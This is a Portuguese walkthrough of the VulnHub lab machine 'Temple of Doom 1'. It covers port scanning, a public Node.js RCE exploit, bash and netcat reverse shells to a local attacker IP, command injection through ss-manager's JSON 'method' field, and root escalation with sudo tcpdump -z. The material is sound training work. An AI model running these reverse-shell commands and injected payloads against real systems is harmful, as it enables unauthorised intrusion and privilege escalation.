Link da Maquina: https://www.vulnhub.com/entry/temple-of-doom-1,243/
Scan/Enumeracao
Host Discovery
Com o comando arp-scan varremos a rede para descobrir os hosts ativos e consequentemente o IP do nosso alvo: 192.168.110.10
1
sudo arp-scan -I eth1 192.168.110.0/24
Port Discovery
Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 02 delas abertas. 22 e 666
1
sudo nmap -n -T5 -p- 192.168.110.10
Port Scan
Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo
1
sudo nmap -n -T5 -A -p 22,666 192.168.110.10
- Porta 22: ssh OpenSSH 7.7 (protocol 2.0)
- Porta 666: http Node.js Express framework
Enumeracao/Exploracao Web - Porta 666
Inspecao Visual
Analisando a pagina web da aplicacao nao temos nada de interessante
O codigo fonte da pagina tambem nao tem nada de relevante
Fuzzy de diretorios - Gobuster
1
gobuster dir -u http://192.168.110.10:666 -w /usr/share/wordlists/dirb/big.txt -x js,txt,php,html
Nao encontramos nada como gobuster
Enumeracao - Nikto
1
nikto -h http://192.168.110.10:666/
Rodamos o nikto, porem nao encontramos nada de util…
Exploit Publico - searchploit
Seguindo a metodologia, ja que nao encontramos nada na enumeracao manual, procuramos por um exploit publico para o servico que esta rodando na porta 666
1
searchsploit Node.js
Encontramos dois exploits de RCE que a principio podem atender a necessidade. Vamos copiar o nodejs/webapps/49552.py para o diretorio atual
1
searchsploit -m 49552
Exploit 49552
Analisando o exploit vimos que exitem algumas informacoes que devem ser alteradas para usarmos
rbscheat
O comando para retornar o shell reverso foi encontrado utilizando o programa rbscheat que pode ser encontrado no GitHub. Para baixa-lo para a nossa maquina e so usar o git clone no repositorio e dar make install
no diretorio criado pelo git clone
Procuramos por um comando de shell reverso com o bash
1
rbscheat -i 192.168.110.3:443 -l bash
- bash -i >& /dev/tcp/192.168.110.3/443 0<&1
Shell Reverso
Agora invocamos o bash e deixamos a mesma porta aberta que configuramos no exploit. Depois disso executamos o exploit e recebemos o shell do alvo
1
python 49552.py
1
2
bash
sudo nc -lnvp 443
Shell Interativo
Para melhorar o shell os seguinte passos devem ser seguidos:
- Importar o tty no shell do alvo
1
script /dev/null
Depois e preciso retornar para o shell da nossa maquina. Para isso basta apertar as teclas CTRL+Z
No shell da kali inserimos os seguintes comando e no final apertar ENTER duas vezes
1
2
3
stty raw -echo
fg
# ENTER duas vezes
Usuario “nodeadmin”
Escalando privilegio
Seguindo a metodologia revirei a maquina inteira atras de uma vulnerabilidade que me permitisse escalar privilegio. Encontrei depois de muito tempo, nos processos, algo sendo executado, filtrando pelo usuario fireman
1
ps -aux | grep fireman
Primeiramente pesquisamos o que seria esse “ss-manager”. Depois proocuramos por exploit para ele
O exploit explica como funciona essa vulnerabilidade e exibe a prova de conceito. Ja que temos um exemplo vamos adapta-lo para a nossa realidade
Usuario “fireman”
Shell Reverso
Utilizando a prova de conceito do exploit como exemplo fiz da mesma forma alterando somente o comando que seria executado. Antes disso deixei a porta escutando na kali. Conseguimos receber o shell do usuario fireman
1
2
3
4
5
6
7
8
# Kali
rbscheat -i 192.168.110.3:4444 -l bash # Para gerar o comando do shell reverso
bash # Invocar o bash para melhoria do shell porteriormente
nc -lnvp 4444 # Deixar a porta escutando na maquina para receber o shell
# Alvo
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/192.168.110.3/4444 0<&1||"}
Escalando Privilegio
Seguindo a metodologia verifiquei o que poderia ser executado como sudo e existem 03 binarios que podem ser executados
GTFOBINS
Verifiquei no portal GTFOBINS o que poderia ser explorado para conseguir escalar privilegio. Encontramos respostas promissoras para o tcpdump
TCPDUMP
Antes de explorar o binario tcpdump, e necessario criar um arquivo contendo o shell code e dar permissao de execucao para esse arquivo. Feito isso agora bastar executar o comando do tcpdump com os parametros informados
1
2
3
echo "nc -e /bin/sh 192.168.110.3 9999" > charlie
chmod +x charlie
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/charlie -Z root
Antes de executar o processo supracitado e necessario deixar a porta escutando na kali para receber o shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# >>Kali<<
bash
nc -lnvp 9999
# Recebeu o shell
# >>Alvo<<
script /dev/null
#CTRL+Z
# >>Kali<<
stty raw -echo
fg
#ENTER duas vezes
# >>Alvo<<
export TERM=xterm
Usuario “root”
Pronto, agora somos root!
Flag Root
Conseguimos pegar a flag do root
Bonus
Root
Na descricao da maquina diz existem duas formas de escalar privilegio para o root. Ainda nao achei a outra forma
Shell nodeadmin
Existe outra forma para conseguir ganhar o primeiro shell da maquina. Resumindo…
Quando recarrega a pagina ela da um erro. Joga para o Burp e econtra um cookie em base64. Decodificando e possivel verificar do que se trata…
Pesquisando por exploit e possivel passar um comanndo em js encodado como base64 no cookie da requisicao e ganhar o primeiro shell reverso